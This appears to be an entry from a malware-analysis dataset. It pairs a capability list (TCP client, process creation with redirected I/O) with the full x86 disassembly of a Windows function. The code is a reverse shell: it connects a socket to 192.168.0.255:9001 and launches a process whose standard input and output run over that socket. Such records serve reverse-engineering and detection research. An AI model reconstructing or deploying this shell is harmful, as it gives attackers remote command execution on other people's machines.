Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40220d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4053f0
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
push str.192.168.0.255
mov dword [0x4053ec], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x10
push str.192.168.0.255
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov eax, 2
push str.9001
mov word [0x405580], ax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0x10
push eax
call dword [sym.imp.WS2_32.dll_htons]
push str.192.168.0.255
mov word [0x405582], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0
push 0
push 0
push 0
push 0x10
push 0x405580
push dword [0x4053ec]
mov dword [0x405584], eax
call dword [sym.imp.WS2_32.dll_WSAConnect]
mov eax, dword [0x4053ec]
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [0x4053d8], eax
mov dword [0x4053d4], eax
mov dword [0x4053d0], eax
mov eax, dword [0x403178]
mov dword [ebp - 0x20], eax
mov ax, word [0x40317c]
movlpd qword [0x40539c], xmm0
movlpd qword [0x4053a4], xmm0
movlpd qword [0x4053ac], xmm0
movlpd qword [0x4053b4], xmm0
movlpd qword [0x4053bc], xmm0
movlpd qword [0x4053c8], xmm0
movq xmm0, qword [0x403170]
mov word [ebp - 0x1c], ax
xor eax, eax
mov dword [0x405398], 0x44
mov dword [0x4053c4], 0x101
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x14], 7
movq qword [ebp - 0x28], xmm0
mov word [ebp - 0x1a], ax
push 0x4053dc
push 0x405398
push eax
push eax
push 0x8000000
push 1
push eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401460
call fcn.00401250
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x4011d0
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4011c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4011c6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401558
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040154a
mov esp, ebp
pop ebp
ret